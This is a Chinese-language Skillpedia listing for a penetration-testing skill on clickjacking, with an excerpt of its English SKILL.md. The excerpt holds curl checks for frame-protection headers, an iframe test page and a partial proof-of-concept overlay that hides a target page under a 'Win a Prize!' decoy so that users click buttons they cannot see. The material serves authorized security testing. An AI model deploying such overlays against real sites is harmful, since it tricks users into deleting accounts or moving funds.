跳到正文
Skillpedia
安全35k · #8197

performing-clickjacking-attack-test

它能做什么

这个功能用于测试网站是否可能被诱骗,让用户点击他们看不见的内容,比如删除或转账按钮。它会检查网站的防护措施,并生成一个概念验证(PoC),演示攻击会如何进行。

适用场景

  • ✓在获得授权的前提下测试网站安全性时。
  • ✓检查重要操作(比如删除账号)是否可以在没有额外确认的情况下完成。
  • ✓评估涉及资金或个人信息的网站时。

技能链接

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-clickjacking-attack-test/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-clickjacking-attack-test/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“检查一下网站 'example.com' 是否可以被用于点击劫持攻击,从而删除用户账号。”

每周 5 个新技能,1 分钟读完。

工作原理

首先,它会检查网站的“规则”,看它是否允许自己被嵌入到其他网站中显示。然后,它会尝试把该网站显示在一个不可见的“框架”(iframe)里。如果成功,就会生成一个伪装页面,把真实网站隐藏在下面,诱骗用户去点击危险的按钮。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

Performing Clickjacking Attack Test

When to Use

  • During authorized penetration tests when assessing UI redressing vulnerabilities
  • When testing whether sensitive actions (delete account, transfer funds, change settings) can be performed via clickjacking
  • For evaluating the effectiveness of X-Frame-Options and Content-Security-Policy frame-ancestors directives
  • When assessing applications that process one-click actions without additional confirmation
  • During security audits of applications handling financial transactions or account management

Prerequisites

  • Authorization: Written penetration testing agreement for the target
  • Web browser: Modern browser for testing iframe embedding
  • Local web server: Python http.server or similar for hosting PoC pages
  • Burp Suite: For examining response headers
  • HTML/CSS knowledge: For crafting clickjacking overlay pages
  • curl: For checking framing headers on target pages

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1: Check Frame Embedding Protections

Examine response headers for anti-clickjacking defenses.

# Check X-Frame-Options header
curl -s -I "https://target.example.com/" | grep -i "x-frame-options"
# Expected values:
# X-Frame-Options: DENY (blocks all framing)
# X-Frame-Options: SAMEORIGIN (allows same-origin framing)
# X-Frame-Options: ALLOW-FROM https://trusted.com (deprecated, limited support)

# Check Content-Security-Policy frame-ancestors directive
curl -s -I "https://target.example.com/" | grep -i "content-security-policy"
# Look for: frame-ancestors 'none' or frame-ancestors 'self'
# frame-ancestors 'none' = equivalent to DENY
# frame-ancestors 'self' = equivalent to SAMEORIGIN

# Test multiple sensitive pages
for page in / /account/settings /account/delete /transfer \
  /admin/dashboard /change-password /change-email; do
  echo -n "$page: "
  headers=$(curl -s -I "https://target.example.com$page")
  xfo=$(echo "$headers" | grep -i "x-frame-options" | tr -d '\r')
  csp=$(echo "$headers" | grep -i "content-security-policy" | grep -o "frame-ancestors[^;]*" | tr -d '\r')
  if [ -z "$xfo" ] && [ -z "$csp" ]; then
    echo "NO PROTECTION"
  else
    echo "${xfo:-none} | ${csp:-none}"
  fi
done

# Check if JavaScript frame-busting is used (weak protection)
curl -s "https://target.example.com/" | grep -i "top.location\|parent.location\|frameElement"

Step 2: Test Basic Iframe Embedding

Attempt to embed the target page in an iframe to confirm vulnerability.

<!-- basic-frame-test.html -->
<html>
<head><title>Clickjacking Frame Test</title></head>
<body>
<h1>Frame Embedding Test</h1>
<p>If the target page loads below, it is vulnerable to clickjacking.</p>

<!-- Test basic framing -->
<iframe src="https://target.example.com/account/settings"
        width="800" height="600"
        style="border: 2px solid red;">
</iframe>

<p>If you see "Refused to display" in console or blank iframe,
   the page has frame protection.</p>
</body>
</html>
# Host the test page
cd /tmp
cat > frame-test.html << 'EOF'
<html>
<body>
<h1>Clickjacking Test</h1>
<iframe src="https://target.example.com/account/settings"
        width="800" height="600"></iframe>
</body>
</html>
EOF
python3 -m http.server 8888
# Open http://localhost:8888/frame-test.html in browser
# Check browser console for framing errors

Step 3: Craft Clickjacking Proof of Concept

Build an overlay attack that tricks users into clicking hidden elements.

<!-- clickjacking-poc.html -->
<html>
<head>
<title>Win a Prize!</title>
<style>
  body {
    margin: 0;
    padding: 0;
    font-family: Arial, sans-serif;
  }

  /* Invisible iframe containing target page */
  #target-frame {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    opacity: 0.0001;  /* Nearly invisible */
    z-index: 2;       /* On top of decoy */
    border: none;
  }

  /* Decoy content that tricks the user */
  #decoy {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    z-index: 1;
    background: white;
  }

  /* Position the "Click here" button exactly over the target's
     sensitive button (adjust top/left values based on target layout) */
  #click-bait {
    position: absolute;

…
常见问题

什么是点击劫持?

这是一种攻击方式:恶意网站以隐形或伪装的方式展示一个正规网站,诱骗用户点击该正规网站上的按钮或链接,从而执行用户并不想要的操作。

使用这个功能需要获得许可吗?

需要。你必须事先获得网站所有者明确的书面许可才能进行此测试。未经许可使用是违法的。

需要准备哪些工具?

你需要一个网页浏览器、一个简单的 Web 服务器(比如 Python http.server),以及 Burp Suite 和 curl 等工具,用于检查网站的设置。

详情

作者的原始描述

Testing web applications for clickjacking vulnerabilities by assessing frame embedding controls and crafting proof-of-concept overlay attacks during authorized security assessments.

repo: mukul975/Anthropic-Cybersecurity-Skills

热度

GitHub 星标
35k
排名
#8197
许可证
Apache-2.0
更新时间
2026/8/31

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能